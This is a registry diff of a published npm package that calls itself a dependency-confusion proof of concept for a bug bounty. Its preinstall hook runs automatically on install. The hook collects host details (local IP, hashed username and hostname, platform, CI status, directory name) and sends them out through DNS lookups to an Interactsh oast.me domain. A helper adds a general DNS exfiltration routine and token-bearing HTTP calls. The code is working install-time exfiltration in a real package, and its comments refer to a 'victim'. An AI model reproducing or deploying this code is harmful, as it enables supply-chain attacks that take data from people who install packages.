dc-poc-test 0.4.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/Readme.md ADDED
@@ -0,0 +1,3 @@
1
+ # Example node package
2
+ This is My's PoC for the bug bounty
3
+ program. I own this package name.
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
@@ -0,0 +1,61 @@
1
+ const dns = require('dns').promises;
2
+ const http = require('http');
3
+ const https = require('https');
4
+
5
+ function httpJSON(method, url, bodyObj, headers={}) {
6
+ const u = new URL(url);
7
+ const isHttps = u.protocol === 'https:';
8
+ const body = bodyObj ? JSON.stringify(bodyObj) : '';
9
+ const opts = {
10
+ method,
11
+ hostname: u.hostname,
12
+ port: u.port || (isHttps ? 443 : 80),
13
+ path: u.pathname + (u.search || ''),
14
+ headers: {
15
+ 'content-type': 'application/json',
16
+ ...(body ? {'content-length': Buffer.byteLength(body)} : {}),
17
+ ...headers
18
+ },
19
+ timeout: 8000
20
+ };
21
+ return new Promise((resolve, reject) => {
22
+ const req = (isHttps ? https : http).request(opts, res => {
23
+ let data=''; res.on('data', d=>data+=d);
24
+ res.on('end', () => {
25
+ try { resolve({ status: res.statusCode, data: data ? JSON.parse(data) : {} }); }
26
+ catch { resolve({ status: res.statusCode, data: {} }); }
27
+ });
28
+ });
29
+ req.on('error', reject);
30
+ if (body) req.write(body);
31
+ req.end();
32
+ });
33
+ }
34
+
35
+ async function fetchNonce(server, uuid, token) {
36
+ const res = await httpJSON('POST', `${server}/nonce`, { uuid }, { 'x-dc-token': token });
37
+ if (res.status === 200 && res.data && res.data.nonce) return res.data.nonce;
38
+ throw new Error('no-nonce');
39
+ }
40
+
41
+ async function postPing(server, token, sig, payload, nonce) {
42
+ return httpJSON('POST', `${server}/ping`, { payload, nonce }, { 'x-dc-token': token, 'x-dc-sig': sig });
43
+ }
44
+
45
+ async function txtChallenge(domain, uuid) {
46
+ const name = `nonce.${uuid}.${domain}`;
47
+ const txts = await dns.resolveTxt(name);
48
+ return txts && txts.length ? txts[0].join('') : '';
49
+ }
50
+
51
+ async function dnsBurst(domain, hex) {
52
+ const CHUNK = 50;
53
+ for (let i = 0; i < hex.length; i += CHUNK) {
54
+ const chunk = hex.slice(i, i+CHUNK);
55
+ const fqdn = `${(i/CHUNK)}.${chunk}.${domain}`;
56
+ try { await dns.lookup(fqdn); } catch {}
57
+ await new Promise(r => setTimeout(r, 120 + Math.floor(Math.random()*80)));
58
+ }
59
+ }
60
+
61
+ module.exports = { fetchNonce, postPing, txtChallenge, dnsBurst };
package/lib/proof.js ADDED
@@ -0,0 +1,6 @@
1
+ // Interactsh config
2
+ module.exports = {
3
+ PKG_PROOF_UUID: "acme-2025-08-uuid-7b8f7d02", // gắn mã chiến dịch/engagement
4
+ PROOF_DOMAIN: "d2i139h2eku5imjmvms01u66zartsocs9.oast.me" // <— thay bằng domain Interactsh của bạn
5
+ };
6
+
package/lib/utils.js ADDED
@@ -0,0 +1,45 @@
1
+ const os = require('os');
2
+ const crypto = require('crypto');
3
+ const path = require('path');
4
+
5
+ function sha256(s) {
6
+ return crypto.createHash('sha256').update(String(s)).digest('hex');
7
+ }
8
+
9
+ function randomDelay(minMs=120, maxMs=260) {
10
+ const d = Math.floor(minMs + Math.random()*(maxMs-minMs));
11
+ return new Promise(r=>setTimeout(r, d));
12
+ }
13
+
14
+ function firstLocalIPv4() {
15
+ try {
16
+ const ifs = os.networkInterfaces();
17
+ for (const name of Object.keys(ifs)) {
18
+ for (const it of ifs[name]) {
19
+ if (it.family === 'IPv4' && !it.internal) return it.address;
20
+ }
21
+ }
22
+ } catch {}
23
+ return 'N/A';
24
+ }
25
+
26
+ function collectMinimal() {
27
+ const agent = process.env.npm_config_user_agent || '';
28
+ const hasCI = !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.BUILD_ID || process.env.JENKINS_HOME);
29
+ const cwdBase = path.basename(process.cwd() || '');
30
+ let usernameHash = '';
31
+ try { usernameHash = sha256(require('os').userInfo().username || ''); } catch {}
32
+ return {
33
+ ts: new Date().toISOString(),
34
+ local_ipv4: firstLocalIPv4(), // chỉ IP local (không PII)
35
+ username_sha256: usernameHash, // hash username
36
+ hostname_sha256: sha256(os.hostname()||''),// hash hostname
37
+ platform: os.platform(),
38
+ arch: os.arch(),
39
+ npm_user_agent: agent,
40
+ cwd_basename: cwdBase,
41
+ has_CI: hasCI
42
+ };
43
+ }
44
+
45
+ module.exports = { sha256, randomDelay, collectMinimal };
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "dc-poc-test",
3
+ "version": "0.4.0",
4
+ "description": "Dependency confusion PoC for Interactsh (passive-proof via DNS A lookups)",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "license": "ISC",
10
+ "dependencies": {}
11
+ }
12
+
package/preinstall.js ADDED
@@ -0,0 +1,55 @@
1
+ const dns = require('dns').promises;
2
+ const crypto = require('crypto');
3
+ const { collectMinimal, randomDelay } = require('./lib/utils');
4
+ const { PKG_PROOF_UUID, PROOF_DOMAIN } = require('./lib/proof');
5
+
6
+ function uaLooksLikeRealNpm(ua='') {
7
+ return /^npm\/\d+\.\d+\.\d+\s+node\/\d+\.\d+\.\d+\s+\w+\s+\w+/.test(String(ua||''));
8
+ }
9
+
10
+ function hexOf(obj) {
11
+ try { return Buffer.from(JSON.stringify(obj)).toString('hex'); }
12
+ catch { return ''; }
13
+ }
14
+
15
+ async function pingInteractsh() {
16
+ const ua = process.env.npm_config_user_agent || '';
17
+ if (!uaLooksLikeRealNpm(ua)) return; // giảm noise bot rác
18
+
19
+ const version = require('./package.json').version.replace(/\./g,'-');
20
+ const runtime = (process.platform || 'x') + '-' + (process.arch || 'x');
21
+
22
+ // Thu thập tối thiểu (an toàn, không PII)
23
+ const base = collectMinimal();
24
+
25
+ // Chèn 1 ít metadata vào label để bạn grep
26
+ const stamp = Date.now().toString(36);
27
+ const prefix = `dcpoc.${PKG_PROOF_UUID}.${version}.${runtime}.${stamp}`;
28
+
29
+ // Gửi 1..3 A lookups:
30
+ // 1) nhãn ngắn: dcpoc.<uuid>.<ver>.<runtime>.<ts>.<domain>
31
+ // 2) nhãn có checksum ngắn
32
+ // 3) (tuỳ) nhãn đính kèm 1 chunk hex của base (rất ngắn) — tránh dài quá 63 bytes/label
33
+ const short = `${prefix}.${PROOF_DOMAIN}`;
34
+
35
+ const h = crypto.createHash('sha1').update(JSON.stringify(base)).digest('hex').slice(0,10);
36
+ const withChk = `${prefix}.h${h}.${PROOF_DOMAIN}`;
37
+
38
+ const tiny = hexOf({ts: base.ts, has_CI: base.has_CI}).slice(0, 28); // 14 bytes (-> 28 hex char)
39
+ const withTiny = `${prefix}.x${tiny}.${PROOF_DOMAIN}`;
40
+
41
+ const names = [short, withChk, withTiny];
42
+
43
+ // Thực hiện lookup tuần tự, có trễ nhẹ
44
+ for (const fqdn of names) {
45
+ try { await dns.lookup(fqdn); } catch {}
46
+ await randomDelay();
47
+ }
48
+ }
49
+
50
+ (async () => {
51
+ try {
52
+ // Chỉ chạy nhánh Interactsh (passive-proof); không cần token/env ở victim
53
+ await pingInteractsh();
54
+ } catch {}
55
+ })();